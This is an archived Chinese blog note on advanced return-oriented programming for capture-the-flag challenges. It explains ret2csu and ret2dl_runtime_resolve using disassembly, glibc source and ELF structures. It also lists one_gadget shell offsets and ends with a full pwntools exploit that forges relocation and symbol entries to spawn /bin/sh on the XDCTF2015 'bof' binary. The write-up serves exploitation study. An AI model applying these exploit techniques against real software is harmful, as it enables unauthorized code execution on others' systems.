Advance-rop

rop

一篇古老的笔记,存档。

return2csu

分析

.text:00000000004005A0 ; void _libc_csu_init(void)
.text:00000000004005A0                 public __libc_csu_init
.text:00000000004005A0 __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:00000000004005A0
.text:00000000004005A0 var_30          = qword ptr -30h
.text:00000000004005A0 var_28          = qword ptr -28h
.text:00000000004005A0 var_20          = qword ptr -20h
.text:00000000004005A0 var_18          = qword ptr -18h
.text:00000000004005A0 var_10          = qword ptr -10h
.text:00000000004005A0 var_8           = qword ptr -8
.text:00000000004005A0
.text:00000000004005A0 ; __unwind {
.text:00000000004005A0                 mov     [rsp+var_28], rbp
.text:00000000004005A5                 mov     [rsp+var_20], r12
.text:00000000004005AA                 lea     rbp, cs:600E24h
.text:00000000004005B1                 lea     r12, cs:600E24h
.text:00000000004005B8                 mov     [rsp+var_18], r13
.text:00000000004005BD                 mov     [rsp+var_10], r14
.text:00000000004005C2                 mov     [rsp+var_8], r15
.text:00000000004005C7                 mov     [rsp+var_30], rbx
.text:00000000004005CC                 sub     rsp, 38h
.text:00000000004005D0                 sub     rbp, r12
.text:00000000004005D3                 mov     r13d, edi
.text:00000000004005D6                 mov     r14, rsi
.text:00000000004005D9                 sar     rbp, 3
.text:00000000004005DD                 mov     r15, rdx
.text:00000000004005E0                 call    _init_proc
.text:00000000004005E5                 test    rbp, rbp
.text:00000000004005E8                 jz      short loc_400606
.text:00000000004005EA                 xor     ebx, ebx
.text:00000000004005EC                 nop     dword ptr [rax+00h]
.text:00000000004005F0
.text:00000000004005F0 loc_4005F0:                             ; CODE XREF: __libc_csu_init+64↓j
.text:00000000004005F0                 mov     rdx, r15
.text:00000000004005F3                 mov     rsi, r14
.text:00000000004005F6                 mov     edi, r13d
.text:00000000004005F9                 call    qword ptr [r12+rbx*8]
.text:00000000004005FD                 add     rbx, 1
.text:0000000000400601                 cmp     rbx, rbp
.text:0000000000400604                 jnz     short loc_4005F0
.text:0000000000400606
.text:0000000000400606 loc_400606:                             ; CODE XREF: __libc_csu_init+48↑j
.text:0000000000400606                 mov     rbx, [rsp+38h+var_30]
.text:000000000040060B                 mov     rbp, [rsp+38h+var_28]
.text:0000000000400610                 mov     r12, [rsp+38h+var_20]
.text:0000000000400615                 mov     r13, [rsp+38h+var_18]
.text:000000000040061A                 mov     r14, [rsp+38h+var_10]
.text:000000000040061F                 mov     r15, [rsp+38h+var_8]
.text:0000000000400624                 add     rsp, 38h
.text:0000000000400628                 retn
.text:0000000000400628 ; } // starts at 4005A0
.text:0000000000400628 __libc_csu_init endp

attack__payload


#构造 functionA(a,b,c);
payload='a'*offset+flat([csu_ret2,0x0,0,1,call_tar,edi,rsi,rdx,csu_ret1])+flat([0,0,0,0,0,0,0,main_addr])
onegadget libc.so.6-2.27 
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

ret2dl_run_time_resloved

源码

cat ./elf/dl-runtime.c

/* This function is called through a special trampoline from the PLT the
   first time each PLT entry is called.  We must perform the relocation
   specified in the PLT of the given shared object, and return the resolved
   function address to the trampoline, which will restart the original call
   to that address.  Future calls will bounce directly from the PLT to the
   function.  */


_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg)
{
  const ElfW(Sym) *const symtab
    = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

  const PLTREL *const reloc
    = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
  const ElfW(Sym) *refsym = sym;
  void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
  lookup_t result;
  DL_FIXUP_VALUE_TYPE value;

  /* Sanity check that we're really looking at a PLT relocation.  */
  assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

   /* Look up the target symbol.  If the normal lookup rules are not
      used don't look in the global scope.  */
  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
    {
      const struct r_found_version *version = NULL;

      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
    {
      const ElfW(Half) *vernum =
        (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
      ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
      version = &l->l_versions[ndx];
      if (version->hash == 0)
        version = NULL;
    }

      /* We need to keep the scope around so do some locking.  This is
     not necessary for objects which cannot be unloaded or when
     we are not using any threads (yet).  */
      int flags = DL_LOOKUP_ADD_DEPENDENCY;
      if (!RTLD_SINGLE_THREAD_P)
    {
      THREAD_GSCOPE_SET_FLAG ();
      flags |= DL_LOOKUP_GSCOPE_LOCK;
    }

#ifdef RTLD_ENABLE_FOREIGN_CALL
      RTLD_ENABLE_FOREIGN_CALL;
#endif

      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
                    version, ELF_RTYPE_CLASS_PLT, flags, NULL);

      /* We are done with the global scope.  */
      if (!RTLD_SINGLE_THREAD_P)
    THREAD_GSCOPE_RESET_FLAG ();

#ifdef RTLD_FINALIZE_FOREIGN_CALL
      RTLD_FINALIZE_FOREIGN_CALL;
#endif

      /* Currently result contains the base load address (or link map)
     of the object that defines sym.  Now add in the symbol
     offset.  */
      value = DL_FIXUP_MAKE_VALUE (result,
                   sym ? (LOOKUP_VALUE_ADDRESS (result)
                      + sym->st_value) : 0);
    }
  else
    {
      /* We already found the symbol.  The module (and therefore its load
     address) is also known.  */
      value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
      result = l;
    }

  /* And now perhaps the relocation addend.  */
  value = elf_machine_plt_value (l, reloc, value);

  if (sym != NULL
      && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
    value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

  /* Finally, fix up the plt itself.  */
  if (__glibc_unlikely (GLRO(dl_bind_not)))
    return value;

  return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value); 
}

important section

prime@pubuntu ➜ 🍭 ret2dl-resolve readelf -S bof

image-20191111164235325

#dynamic-linked important section

.rel.plt
.plt 
.plt.got 

.got 
.got.plt 

.dynsym
.dynstr

What does it look like? Let’s read ELF.

prime@pubuntu ➜ 🍭 ret2dl-resolve file bof
bof: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=fbf836d803f75a6c9b6e0993bea8a800e097a53f, not stripped

.plt | .plt.got

image-20191111215815685

image-20191111215824423

.plt 过程链接表,动态链接的函数都通过这个调用入口,每个函数都有一个 rel_offset ,其中 write 的重定向偏移为0x20

.rel.plt

image-20191111162736318

typedef struct {
Elf32_Addr r_offset;    // 对于可执行文件,此值为虚拟地址,4字节
Elf32_Word r_info;      // 符号表索引 ,4字节
} Elf32_Rel;

write.ELF32_Rel = {0x804A01C, 0x607}

.got | .got.plt

.got 保存了动态链接 的变量地址,.got.plt 存动态链接函数地址。

image-20191111163010436

image-20191111163613505

.dynsym | .dynstr

.dynsym 保存了动态链接符号表,.dynstr 保存了动态链接字符串。

image-20191111164151157

image-20191111164200594

typedef struct
{
Elf32_Word st_name;     // Symbol name(string tbl index) ,4bytes
Elf32_Addr st_value;    // Symbol value ,4bytes
Elf32_Word st_size;     // Symbol size 4bytes
unsigned char st_info;  // Symbol type and binding ,1bytes
unsigned char st_other; // Symbol visibility under glibc>=2.2 ,1bytes
Elf32_Section st_shndx; // Section index ,2bytes
} Elf32_Sym

image-20191111214121700

write.ELF32_Sym={0x4c,0,0,0x12,0,0} , st_name=0x4c

prime@pubuntu ➜ 🍭 ret2dl-resolve readelf -x .dynsym  bof

Hex dump of section '.dynsym':
  0x080481d8 00000000 00000000 00000000 00000000 ................
  0x080481e8 33000000 00000000 00000000 12000000 3...............
  0x080481f8 27000000 00000000 00000000 12000000 '...............
  0x08048208 52000000 00000000 00000000 20000000 R........... ...
  0x08048218 20000000 00000000 00000000 12000000  ...............
  0x08048228 3a000000 00000000 00000000 12000000 :...............
  0x08048238 4c000000 00000000 00000000 12000000 L...............
  0x08048248 2c000000 44a00408 04000000 11001a00 ,...D...........
  0x08048258 0b000000 3c860408 04000000 11001000 ....<...........
  0x08048268 1a000000 40a00408 04000000 11001a00 ....@...........

image-20191111214217904

image-20191111214340061

漏洞利用,实现无leak的getshell

  • 存在栈溢出漏洞。
  • 栈迁移到bss ,为后期布局内存做准备。
  • 利用 _dl_runtime_resolve 机制布局内存
    1. 在内存中布置 fake_rel_tablefake_sym_tablefake_str_table
    2. 修改 rel_offset 使得Rel定位到 fake_rel_table
    3. 修改 r_info 使得符号定位到 fake_sym_table
    4. 修改 st_name 使得 函数字符串 定位到 fake_str_table
  • Pwned!

分析程序 – bof.out

我们以调用write为例,因为可以观察到字符串,调试方便,最后把字符串换成 system 即可。

… 后期更新

最后exp

from pwn import * 
p=process('./bof') 
elf=ELF("./bof")
context.arch='i386'
context.terminal=['tmux','splitw','-h']

read_plt=elf.plt['read']
main_func=elf.sym['main']
write_plt=elf.plt['write']
write_got=elf.got['write']
ppp_ret=0x08048619
bss_start=elf.bss()
offset=108
stack_base=bss_start+0x800
ebp=stack_base 
leave_ret=0x08048458
pop_ebp_ret=0x0804861b
plt0=0x08048380
rel_plt=0x08048330

fake_sym=stack_base+0x80
rel_index=stack_base+0x60-rel_plt
dyn_sym=0x80481D8
dyn_str=0x08048278
sym_index=(stack_base+0x88-dyn_sym)/0x10
r_info=(sym_index<<8)+7
log.success('r_info:%x'%r_info)

fake_reloc=flat([write_got,r_info]) # at stack_base+0x60
st_name_offset=stack_base+0xa0-dyn_str
fake_sym=flat([st_name_offset,0,0,12]) # at stack_base+0x80

log.success('stack_base:%x'%stack_base)
log.success('dyn_sym:%x'%dyn_sym)

# migrate stack 
p.recvuntil('Welcome to XDCTF2015~!\n')
payload='a'*offset+flat([
    ebp,read_plt,ppp_ret,0,stack_base,0x200,pop_ebp_ret,stack_base,leave_ret]
    )
p.sendline(payload)
sleep(0.1)
#gdb.attach(p,'b *main\n')
cmd='/bin/sh;\x00'

payload2=flat([
    'a'*4,
    plt0,
    rel_index,
    0xdeadbeef, #any_ret
    stack_base+0x40, # cmd string is here
])

payload2+='b'*(0x40-len(payload2))
payload2 += cmd
payload2 += 'b'*(0x60-len(payload2))
payload2+=fake_reloc
payload2+='b'*(0x88-len(payload2)) 
payload2+=fake_sym #stack_base+0x80
payload2+='b'*(0xa0-len(payload2))
payload2+='system\x00'


p.sendline(payload2)
p.interactive()

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论。

文章标题:Advance-rop

本文作者:枫云李

发布时间:2019-11-07, 09:50:48

最后更新:2020-03-28, 19:14:17

原始链接:https://primelyw.github.io/2019/11/07/Advance-rop/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
github